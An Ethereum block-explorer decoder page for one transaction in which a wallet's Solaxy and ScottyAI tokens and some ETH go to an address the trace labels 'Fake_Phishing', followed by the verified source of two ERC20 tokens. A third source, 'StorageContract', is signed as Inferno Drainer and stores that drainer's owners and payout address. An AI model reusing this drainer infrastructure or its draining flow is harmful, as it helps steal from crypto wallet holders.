ETH Price: $2,627.61 (+2.90%)

Transaction Decoder

Block:
22872204 at Jul-08-2025 04:52:47 AM +UTC
Transaction Fee:
0.000300554790647264 ETH $0.79
Gas Used:
132,064 Gas / 2.275826801 Gwei

Emitted Events:

93 Token.Transfer( from=[Receiver] 0xcea7ecef978d323518116edffd122241aefd72d0, to=0x0000d33678CB2bAF24872175d70f8824452b0000, value=1366557020134833900000000 )
94 ScottyAIToken.Transfer( from=[Receiver] 0xcea7ecef978d323518116edffd122241aefd72d0, to=0x0000d33678CB2bAF24872175d70f8824452b0000, value=759914261181740145000000 )
95 0x0000d33678cb2baf24872175d70f8824452b0000.0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7( 0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7, 0x000000000000000000000000cea7ecef978d323518116edffd122241aefd72d0, 00000000000000000000000000000000000000000000000000ebd1d995a40b28, 00000000000000000000000000000000000000000000000000000000686ca41f )

Account State Difference:

  Address   Before After State Difference Code
0x0000d336...4452b0000 0.025613144767498127 Eth0.091990496743166647 Eth0.06637735197566852
(Titan Builder)
20.882635146095905424 Eth20.882899274095905424 Eth0.000264128
0xc0dB17Bc...3Ad742F4a
0xceA7Ecef...1AefD72D0
0.07424717594873314 Eth
Nonce: 12
0.007569269182417356 Eth
Nonce: 14
0.066677906766315784From: 0 To: 22892026855592066050609947431602401211538835161166308139
0xe0B7AD7F...5F90fCF48

Execution Trace

0xcea7ecef978d323518116edffd122241aefd72d0.e9ae5c53( )
  • Token.transfer( recipient=0x0000d33678CB2bAF24872175d70f8824452b0000, amount=1366557020134833900000000 ) => ( True )
  • ScottyAIToken.transfer( recipient=0x0000d33678CB2bAF24872175d70f8824452b0000, amount=759914261181740145000000 ) => ( True )
  • ETH 0.06637735197566852 Fake_Phishing1294402.8bf4eff3( )
    • StorageContract.CALL( )
    • Fake_Phishing1294402.STATICCALL( )
    • Fake_Phishing1294402.88417d5c( )
      • Fake_Phishing1294402.STATICCALL( )
        File 1 of 3: Token
        // SPDX-License-Identifier: MIT
        
        pragma solidity 0.8.9;
        
        /**
         * @dev Interface of the ERC20 standard as defined in the EIP.
         */
        interface IERC20 {
          /**
           * @dev Emitted when `value` tokens are moved from one account (`from`) to
           * another (`to`).
           *
           * Note that `value` may be zero.
           */
          event Transfer(address indexed from, address indexed to, uint256 value);
        
          /**
           * @dev Emitted when the allowance of a `spender` for an `owner` is set by
           * a call to {approve}. `value` is the new allowance.
           */
          event Approval(address indexed owner, address indexed spender, uint256 value);
        
          /**
           * @dev Returns the amount of tokens in existence.
           */
          function totalSupply() external view returns (uint256);
        
          /**
           * @dev Returns the amount of tokens owned by `account`.
           */
          function balanceOf(address account) external view returns (uint256);
        
          /**
           * @dev Moves `amount` tokens from the caller's account to `to`.
           *
           * Returns a boolean value indicating whether the operation succeeded.
           *
           * Emits a {Transfer} event.
           */
          function transfer(address to, uint256 amount) external returns (bool);
        
          /**
           * @dev Returns the remaining number of tokens that `spender` will be
           * allowed to spend on behalf of `owner` through {transferFrom}. This is
           * zero by default.
           *
           * This value changes when {approve} or {transferFrom} are called.
           */
          function allowance(address owner, address spender) external view returns (uint256);
        
          /**
           * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
           *
           * Returns a boolean value indicating whether the operation succeeded.
           *
           * IMPORTANT: Beware that changing an allowance with this method brings the risk
           * that someone may use both the old and the new allowance by unfortunate
           * transaction ordering. One possible solution to mitigate this race
           * condition is to first reduce the spender's allowance to 0 and set the
           * desired value afterwards:
           * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
           *
           * Emits an {Approval} event.
           */
          function approve(address spender, uint256 amount) external returns (bool);
        
          /**
           * @dev Moves `amount` tokens from `from` to `to` using the
           * allowance mechanism. `amount` is then deducted from the caller's
           * allowance.
           *
           * Returns a boolean value indicating whether the operation succeeded.
           *
           * Emits a {Transfer} event.
           */
          function transferFrom(address from, address to, uint256 amount) external returns (bool);
        }
        
        /**
         * @dev Interface for the optional metadata functions from the ERC20 standard.
         *
         * _Available since v4.1._
         */
        interface IERC20Metadata is IERC20 {
          /**
           * @dev Returns the name of the token.
           */
          function name() external view returns (string memory);
        
          /**
           * @dev Returns the symbol of the token.
           */
          function symbol() external view returns (string memory);
        
          /**
           * @dev Returns the decimals places of the token.
           */
          function decimals() external view returns (uint8);
        }
        
        /**
         * @dev Provides information about the current execution context, including the
         * sender of the transaction and its data. While these are generally available
         * via msg.sender and msg.data, they should not be accessed in such a direct
         * manner, since when dealing with meta-transactions the account sending and
         * paying for execution may not be the actual sender (as far as an application
         * is concerned).
         *
         * This contract is only required for intermediate, library-like contracts.
         */
        abstract contract Context {
          function _msgSender() internal view virtual returns (address) {
            return msg.sender;
          }
        
          function _msgData() internal view virtual returns (bytes calldata) {
            return msg.data;
          }
        }
        
        /**
         * @dev Contract module which provides a basic access control mechanism, where
         * there is an account (an owner) that can be granted exclusive access to
         * specific functions.
         *
         * By default, the owner account will be the one that deploys the contract. This
         * can later be changed with {transferOwnership}.
         *
         * This module is used through inheritance. It will make available the modifier
         * `onlyOwner`, which can be applied to your functions to restrict their use to
         * the owner.
         */
        abstract contract Ownable is Context {
          address private _owner;
        
          event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
        
          /**
           * @dev Initializes the contract setting the deployer as the initial owner.
           */
          constructor() {
            _transferOwnership(_msgSender());
          }
        
          /**
           * @dev Throws if called by any account other than the owner.
           */
          modifier onlyOwner() {
            _checkOwner();
            _;
          }
        
          /**
           * @dev Returns the address of the current owner.
           */
          function owner() public view virtual returns (address) {
            return _owner;
          }
        
          /**
           * @dev Throws if the sender is not the owner.
           */
          function _checkOwner() internal view virtual {
            require(owner() == _msgSender(), 'Ownable: caller is not the owner');
          }
        
          /**
           * @dev Leaves the contract without owner. It will not be possible to call
           * `onlyOwner` functions. Can only be called by the current owner.
           *
           * NOTE: Renouncing ownership will leave the contract without an owner,
           * thereby disabling any functionality that is only available to the owner.
           */
          function renounceOwnership() public virtual onlyOwner {
            _transferOwnership(address(0));
          }
        
          /**
           * @dev Transfers ownership of the contract to a new account (`newOwner`).
           * Can only be called by the current owner.
           */
          function transferOwnership(address newOwner) public virtual onlyOwner {
            require(newOwner != address(0), 'Ownable: new owner is the zero address');
            _transferOwnership(newOwner);
          }
        
          /**
           * @dev Transfers ownership of the contract to a new account (`newOwner`).
           * Internal function without access restriction.
           */
          function _transferOwnership(address newOwner) internal virtual {
            address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
          }
        }
        
        contract Token is Context, IERC20Metadata, Ownable {
          mapping(address => uint256) private _balances;
        
          mapping(address => mapping(address => uint256)) private _allowances;
        
          uint256 private _totalSupply;
        
          string private _name;
          string private _symbol;
          uint8 private constant _decimals = 18;
          uint256 public constant treasuryReserve = 27_609_200_000 * (10 ** _decimals);
          uint256 public constant marketingReserve = 20_706_900_000 * (10 ** _decimals);
          uint256 public constant rewardsReserve = 34_511_500_000 * (10 ** _decimals);
          uint256 public constant listingsReserve = 13_804_600_000 * (10 ** _decimals);
          uint256 public constant developmentReserve = 41_413_800_000 * (10 ** _decimals);
          bool public firstBuyCompleted = false; // Flag to track if the first buy has been completed
          address public uniswapPool;
        
          event FirstBuyDone(); // Event emitted when the first buy is done
        
          /**
           * @dev Contract constructor.
           */
          constructor() {
            _name = 'Solaxy';
            _symbol = 'SOLX';
            _mint(0x51f8dcA2aFe4894Ce8B7aAB752CF97374662EEfD, treasuryReserve);
            _mint(0x509e7249dad865852677d6455dE63A3882ea8E13, marketingReserve);
            _mint(0xBfE68afaF59C7b89ebbEcc9e2936e7167d16F648, rewardsReserve);
            _mint(0x8c597c1E502049bac882368C3e29943d0D7E78b9, listingsReserve);
            _mint(0x697B23CA9C1bF14d89dCeA311Ee34f4Dce8ed018, developmentReserve);
          }
        
          /**
           * @dev Returns the name of the token.
           * @return The name of the token.
           */
          function name() public view virtual override returns (string memory) {
            return _name;
          }
        
          /**
           * @dev Returns the symbol of the token.
           * @return The symbol of the token.
           */
          function symbol() public view virtual override returns (string memory) {
            return _symbol;
          }
        
          /**
           * @dev Returns the number of decimals used for token display.
           * @return The number of decimals.
           */
          function decimals() public view virtual override returns (uint8) {
            return _decimals;
          }
        
          // Admin function to update the Uniswap pool if needed
          function setUniswapPool(address _uniswapPool) external onlyOwner {
            require(_uniswapPool != address(0), 'Uniswap pool address cannot be zero');
            uniswapPool = _uniswapPool;
          }
        
          /**
           * @dev Returns the total supply of the token.
           * @return The total supply.
           */
          function totalSupply() public view virtual override returns (uint256) {
            return _totalSupply;
          }
        
          /**
           * @dev Returns the balance of the specified account.
           * @param account The address to check the balance for.
           * @return The balance of the account.
           */
          function balanceOf(address account) public view virtual override returns (uint256) {
            return _balances[account];
          }
        
          /**
           * @dev Transfers tokens from the caller to a specified recipient.
           * @param recipient The address to transfer tokens to.
           * @param amount The amount of tokens to transfer.
           * @return A boolean value indicating whether the transfer was successful.
           */
          function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
            _transfer(_msgSender(), recipient, amount);
            return true;
          }
        
          /**
           * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
           * @param from The address that approves the spending.
           * @param to The address that is allowed to spend.
           * @return The remaining allowance for the spender.
           */
          function allowance(address from, address to) public view virtual override returns (uint256) {
            return _allowances[from][to];
          }
        
          /**
           * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
           * @param to The address to approve the spending for.
           * @param amount The amount of tokens to approve.
           * @return A boolean value indicating whether the approval was successful.
           */
          function approve(address to, uint256 amount) public virtual override returns (bool) {
            _approve(_msgSender(), to, amount);
            return true;
          }
        
          /**
           * @dev Transfers tokens from one address to another.
           * @param sender The address to transfer tokens from.
           * @param recipient The address to transfer tokens to.
           * @param amount The amount of tokens to transfer.
           * @return A boolean value indicating whether the transfer was successful.
           */
          function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
            _transfer(sender, recipient, amount);
        
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
            unchecked {
              _approve(sender, _msgSender(), currentAllowance - amount);
            }
        
            return true;
          }
        
          /**
           * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
           * @param to The address to increase the allowance for.
           * @param addedValue The amount of tokens to increase the allowance by.
           * @return A boolean value indicating whether the increase was successful.
           */
          function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) {
            _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
            return true;
          }
        
          /**
           * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
           * @param to The account allowed to spend the tokens.
           * @param subtractedValue The amount of tokens to decrease the allowance by.
           * @return A boolean value indicating whether the operation succeeded.
           */
          function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) {
            uint256 currentAllowance = _allowances[_msgSender()][to];
            require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
            unchecked {
              _approve(_msgSender(), to, currentAllowance - subtractedValue);
            }
        
            return true;
          }
        
          /**
           * @dev Transfers `amount` tokens from `sender` to `recipient`.
           * @param sender The account to transfer tokens from.
           * @param recipient The account to transfer tokens to.
           * @param amount The amount of tokens to transfer.
           */
          function _transfer(address sender, address recipient, uint256 amount) internal virtual {
            require(amount > 0, 'ERC20: transfer amount zero');
            require(sender != address(0), 'ERC20: transfer from the zero address');
            require(recipient != address(0), 'ERC20: transfer to the zero address');
        
            uint256 senderBalance = _balances[sender];
            require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
            if (!firstBuyCompleted && sender == uniswapPool) {
              require(tx.origin == owner(), 'First Buy Pending');
              firstBuyCompleted = true;
              emit FirstBuyDone();
            }
        
            unchecked {
              _balances[sender] = senderBalance - amount;
            }
            _balances[recipient] += amount;
        
            emit Transfer(sender, recipient, amount);
          }
        
          /**
           * @dev Creates `amount` tokens and assigns them to `account`.
           * @param account The account to assign the newly created tokens to.
           * @param amount The amount of tokens to create.
           */
          function _mint(address account, uint256 amount) internal virtual {
            require(account != address(0), 'ERC20: mint to the zero address');
        
            _totalSupply += amount;
            _balances[account] += amount;
            emit Transfer(address(0), account, amount);
          }
        
          /**
           * @dev Destroys `amount` tokens from `account`, reducing the total supply.
           * @param account The account to burn tokens from.
           * @param amount The amount of tokens to burn.
           */
          function _burn(address account, uint256 amount) internal virtual {
            require(account != address(0), 'ERC20: burn from the zero address');
        
            uint256 accountBalance = _balances[account];
            require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
            unchecked {
              _balances[account] = accountBalance - amount;
            }
            _totalSupply -= amount;
        
            emit Transfer(account, address(0), amount);
          }
        
          /**
           * @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
           * @param amount The amount of tokens to burn.
           */
          function burn(uint256 amount) external {
            _burn(_msgSender(), amount);
          }
        
          /**
           * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
           * @param from The account granting the allowance.
           * @param to The account allowed to spend the tokens.
           * @param amount The amount of tokens to allow.
           */
          function _approve(address from, address to, uint256 amount) internal virtual {
            require(from != address(0), 'ERC20: approve from the zero address');
            require(to != address(0), 'ERC20: approve to the zero address');
        
            _allowances[from][to] = amount;
            emit Approval(from, to, amount);
          }
        }

        File 2 of 3: ScottyAIToken
        // SPDX-License-Identifier: MIT
        
        pragma solidity 0.8.9;
        
        /**
         * @dev Interface of the ERC20 standard as defined in the EIP.
         */
        interface IERC20 {
            /**
             * @dev Emitted when `value` tokens are moved from one account (`from`) to
             * another (`to`).
             *
             * Note that `value` may be zero.
             */
            event Transfer(address indexed from, address indexed to, uint256 value);
        
            /**
             * @dev Emitted when the allowance of a `spender` for an `owner` is set by
             * a call to {approve}. `value` is the new allowance.
             */
            event Approval(
                address indexed owner,
                address indexed spender,
                uint256 value
            );
        
            /**
             * @dev Returns the amount of tokens in existence.
             */
            function totalSupply() external view returns (uint256);
        
            /**
             * @dev Returns the amount of tokens owned by `account`.
             */
            function balanceOf(address account) external view returns (uint256);
        
            /**
             * @dev Moves `amount` tokens from the caller's account to `to`.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * Emits a {Transfer} event.
             */
            function transfer(address to, uint256 amount) external returns (bool);
        
            /**
             * @dev Returns the remaining number of tokens that `spender` will be
             * allowed to spend on behalf of `owner` through {transferFrom}. This is
             * zero by default.
             *
             * This value changes when {approve} or {transferFrom} are called.
             */
            function allowance(address owner, address spender)
                external
                view
                returns (uint256);
        
            /**
             * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * IMPORTANT: Beware that changing an allowance with this method brings the risk
             * that someone may use both the old and the new allowance by unfortunate
             * transaction ordering. One possible solution to mitigate this race
             * condition is to first reduce the spender's allowance to 0 and set the
             * desired value afterwards:
             * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
             *
             * Emits an {Approval} event.
             */
            function approve(address spender, uint256 amount) external returns (bool);
        
            /**
             * @dev Moves `amount` tokens from `from` to `to` using the
             * allowance mechanism. `amount` is then deducted from the caller's
             * allowance.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * Emits a {Transfer} event.
             */
            function transferFrom(
                address from,
                address to,
                uint256 amount
            ) external returns (bool);
        }
        
        /**
         * @dev Interface for the optional metadata functions from the ERC20 standard.
         *
         * _Available since v4.1._
         */
        interface IERC20Metadata is IERC20 {
            /**
             * @dev Returns the name of the token.
             */
            function name() external view returns (string memory);
        
            /**
             * @dev Returns the symbol of the token.
             */
            function symbol() external view returns (string memory);
        
            /**
             * @dev Returns the decimals places of the token.
             */
            function decimals() external view returns (uint8);
        }
        
        /**
         * @dev Provides information about the current execution context, including the
         * sender of the transaction and its data. While these are generally available
         * via msg.sender and msg.data, they should not be accessed in such a direct
         * manner, since when dealing with meta-transactions the account sending and
         * paying for execution may not be the actual sender (as far as an application
         * is concerned).
         *
         * This contract is only required for intermediate, library-like contracts.
         */
        abstract contract Context {
            function _msgSender() internal view virtual returns (address) {
                return msg.sender;
            }
        
            function _msgData() internal view virtual returns (bytes calldata) {
                return msg.data;
            }
        }
        
        /**
         * @dev Contract module which provides a basic access control mechanism, where
         * there is an account (an owner) that can be granted exclusive access to
         * specific functions.
         *
         * By default, the owner account will be the one that deploys the contract. This
         * can later be changed with {transferOwnership}.
         *
         * This module is used through inheritance. It will make available the modifier
         * `onlyOwner`, which can be applied to your functions to restrict their use to
         * the owner.
         */
        abstract contract Ownable is Context {
            address private _owner;
        
            event OwnershipTransferred(
                address indexed previousOwner,
                address indexed newOwner
            );
        
            /**
             * @dev Initializes the contract setting the deployer as the initial owner.
             */
            constructor() {
                _transferOwnership(_msgSender());
            }
        
            /**
             * @dev Throws if called by any account other than the owner.
             */
            modifier onlyOwner() {
                _checkOwner();
                _;
            }
        
            /**
             * @dev Returns the address of the current owner.
             */
            function owner() public view virtual returns (address) {
                return _owner;
            }
        
            /**
             * @dev Throws if the sender is not the owner.
             */
            function _checkOwner() internal view virtual {
                require(owner() == _msgSender(), "Ownable: caller is not the owner");
            }
        
            /**
             * @dev Leaves the contract without owner. It will not be possible to call
             * `onlyOwner` functions. Can only be called by the current owner.
             *
             * NOTE: Renouncing ownership will leave the contract without an owner,
             * thereby disabling any functionality that is only available to the owner.
             */
            function renounceOwnership() public virtual onlyOwner {
                _transferOwnership(address(0));
            }
        
            /**
             * @dev Transfers ownership of the contract to a new account (`newOwner`).
             * Can only be called by the current owner.
             */
            function transferOwnership(address newOwner) public virtual onlyOwner {
                require(
                    newOwner != address(0),
                    "Ownable: new owner is the zero address"
                );
                _transferOwnership(newOwner);
            }
        
            /**
             * @dev Transfers ownership of the contract to a new account (`newOwner`).
             * Internal function without access restriction.
             */
            function _transferOwnership(address newOwner) internal virtual {
                address oldOwner = _owner;
                _owner = newOwner;
                emit OwnershipTransferred(oldOwner, newOwner);
            }
        }
        
        contract ScottyAIToken is Context, IERC20Metadata, Ownable {
            mapping(address => uint256) private _balances;
        
            mapping(address => mapping(address => uint256)) private _allowances;
        
            uint256 private _totalSupply;
        
            string private _name;
            string private _symbol;
            uint8 private constant _decimals = 18;
            uint256 public constant presaleReserve = 520_370_367 * (10**_decimals);
            uint256 public constant devReserve = 520_370_367 * (10**_decimals);
            uint256 public constant stakingReserve = 346_913_578 * (10**_decimals);
            uint256 public constant exchangeListingReserve =
                173_456_789 * (10**_decimals);
            uint256 public constant marketingReserve = 173_456_789 * (10**_decimals);
        
            /**
             * @dev Contract constructor.
             * @param name_ The name of the token.
             * @param symbol_ The symbol of the token.
             */
            constructor(string memory name_, string memory symbol_) {
                _name = name_;
                _symbol = symbol_;
                _mint(0x94430c07Df645Bc6179EF9e95f1A447647dCc5F6, presaleReserve);
                _mint(0x7397DD336c7dBE1d87681Fc60317def944A4DB15, devReserve);
                _mint(0xe1d99c951f05b7d57c45c4d2a7cB4fB6BD053045, stakingReserve);
                _mint(
                    0xF30f503225B2f1C8849a3b7A8C6356476F6b61C6,
                    exchangeListingReserve
                );
                _mint(0x6d08E1037D5C12baa8fF4D97978c1bC9924ac9a6, marketingReserve);
            }
        
            /**
             * @dev Returns the name of the token.
             * @return The name of the token.
             */
            function name() public view virtual override returns (string memory) {
                return _name;
            }
        
            /**
             * @dev Returns the symbol of the token.
             * @return The symbol of the token.
             */
            function symbol() public view virtual override returns (string memory) {
                return _symbol;
            }
        
            /**
             * @dev Returns the number of decimals used for token display.
             * @return The number of decimals.
             */
            function decimals() public view virtual override returns (uint8) {
                return _decimals;
            }
        
            /**
             * @dev Returns the total supply of the token.
             * @return The total supply.
             */
            function totalSupply() public view virtual override returns (uint256) {
                return _totalSupply;
            }
        
            /**
             * @dev Returns the balance of the specified account.
             * @param account The address to check the balance for.
             * @return The balance of the account.
             */
            function balanceOf(address account)
                public
                view
                virtual
                override
                returns (uint256)
            {
                return _balances[account];
            }
        
            /**
             * @dev Transfers tokens from the caller to a specified recipient.
             * @param recipient The address to transfer tokens to.
             * @param amount The amount of tokens to transfer.
             * @return A boolean value indicating whether the transfer was successful.
             */
            function transfer(address recipient, uint256 amount)
                public
                virtual
                override
                returns (bool)
            {
                _transfer(_msgSender(), recipient, amount);
                return true;
            }
        
            /**
             * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
             * @param from The address that approves the spending.
             * @param to The address that is allowed to spend.
             * @return The remaining allowance for the spender.
             */
            function allowance(address from, address to)
                public
                view
                virtual
                override
                returns (uint256)
            {
                return _allowances[from][to];
            }
        
            /**
             * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
             * @param to The address to approve the spending for.
             * @param amount The amount of tokens to approve.
             * @return A boolean value indicating whether the approval was successful.
             */
            function approve(address to, uint256 amount)
                public
                virtual
                override
                returns (bool)
            {
                _approve(_msgSender(), to, amount);
                return true;
            }
        
            /**
             * @dev Transfers tokens from one address to another.
             * @param sender The address to transfer tokens from.
             * @param recipient The address to transfer tokens to.
             * @param amount The amount of tokens to transfer.
             * @return A boolean value indicating whether the transfer was successful.
             */
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            ) public virtual override returns (bool) {
                _transfer(sender, recipient, amount);
        
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(
                    currentAllowance >= amount,
                    "ERC20: transfer amount exceeds allowance"
                );
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
        
                return true;
            }
        
            /**
             * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
             * @param to The address to increase the allowance for.
             * @param addedValue The amount of tokens to increase the allowance by.
             * @return A boolean value indicating whether the increase was successful.
             */
            function increaseAllowance(address to, uint256 addedValue)
                public
                virtual
                returns (bool)
            {
                _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
                return true;
            }
        
            /**
             * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
             * @param to The account allowed to spend the tokens.
             * @param subtractedValue The amount of tokens to decrease the allowance by.
             * @return A boolean value indicating whether the operation succeeded.
             */
            function decreaseAllowance(address to, uint256 subtractedValue)
                public
                virtual
                returns (bool)
            {
                uint256 currentAllowance = _allowances[_msgSender()][to];
                require(
                    currentAllowance >= subtractedValue,
                    "ERC20: decreased allowance below zero"
                );
                unchecked {
                    _approve(_msgSender(), to, currentAllowance - subtractedValue);
                }
        
                return true;
            }
        
            /**
             * @dev Transfers `amount` tokens from `sender` to `recipient`.
             * @param sender The account to transfer tokens from.
             * @param recipient The account to transfer tokens to.
             * @param amount The amount of tokens to transfer.
             */
            function _transfer(
                address sender,
                address recipient,
                uint256 amount
            ) internal virtual {
                require(amount > 0, "ERC20: transfer amount zero");
                require(sender != address(0), "ERC20: transfer from the zero address");
                require(recipient != address(0), "ERC20: transfer to the zero address");
        
                uint256 senderBalance = _balances[sender];
                require(
                    senderBalance >= amount,
                    "ERC20: transfer amount exceeds balance"
                );
                unchecked {
                    _balances[sender] = senderBalance - amount;
                }
                _balances[recipient] += amount;
        
                emit Transfer(sender, recipient, amount);
            }
        
            /**
             * @dev Creates `amount` tokens and assigns them to `account`.
             * @param account The account to assign the newly created tokens to.
             * @param amount The amount of tokens to create.
             */
            function _mint(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: mint to the zero address");
        
                _totalSupply += amount;
                _balances[account] += amount;
                emit Transfer(address(0), account, amount);
            }
        
            /**
             * @dev Destroys `amount` tokens from `account`, reducing the total supply.
             * @param account The account to burn tokens from.
             * @param amount The amount of tokens to burn.
             */
            function _burn(address account, uint256 amount) internal virtual {
                require(account != address(0), "ERC20: burn from the zero address");
        
                uint256 accountBalance = _balances[account];
                require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
                unchecked {
                    _balances[account] = accountBalance - amount;
                }
                _totalSupply -= amount;
        
                emit Transfer(account, address(0), amount);
            }
        
            /**
             * @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
             * @param amount The amount of tokens to burn.
             */
            function burn(uint256 amount) external {
                _burn(_msgSender(), amount);
            }
        
            /**
             * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
             * @param from The account granting the allowance.
             * @param to The account allowed to spend the tokens.
             * @param amount The amount of tokens to allow.
             */
            function _approve(
                address from,
                address to,
                uint256 amount
            ) internal virtual {
                require(from != address(0), "ERC20: approve from the zero address");
                require(to != address(0), "ERC20: approve to the zero address");
        
                _allowances[from][to] = amount;
                emit Approval(from, to, amount);
            }
        }

        File 3 of 3: StorageContract
        // @mr_inferno_drainer / inferno drainer
        
        pragma solidity ^0.8.6;
        
        contract StorageContract {
            address public nativeCryptoReceiver;
            address[] public owners;
        
            constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                nativeCryptoReceiver = defaultNativeCryptoReceiver;
                owners.push(firstOwner);
            }
        
            modifier onlyOwner() {
                bool isOwner = false;
                for (uint256 i = 0; i < owners.length; i++) {
                    if (msg.sender == owners[i]) {
                        isOwner = true;
                        break;
                    }
                }
                require(isOwner, "Caller is not an owner");
                _;
            }
        
            function addOwner(address newOwner) public onlyOwner {
                owners.push(newOwner);
            }
        
            function getOwners() public view returns (address[] memory) {
                return owners;
            }
        
            function removeOwner(address ownerToRemove) public onlyOwner {
                uint256 index = type(uint256).max;
        
                for (uint256 i = 0; i < owners.length; i++) {
                    if (owners[i] == ownerToRemove) {
                        index = i;
                        break;
                    }
                }
        
                require(index != type(uint256).max, "Owner not found");
                require(owners.length > 1, "Cannot remove the last owner");
        
                owners[index] = owners[owners.length - 1];
                owners.pop();
            }
        
            function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                public
                onlyOwner
            {
                nativeCryptoReceiver = newNativeCryptoReceiver;
            }
        }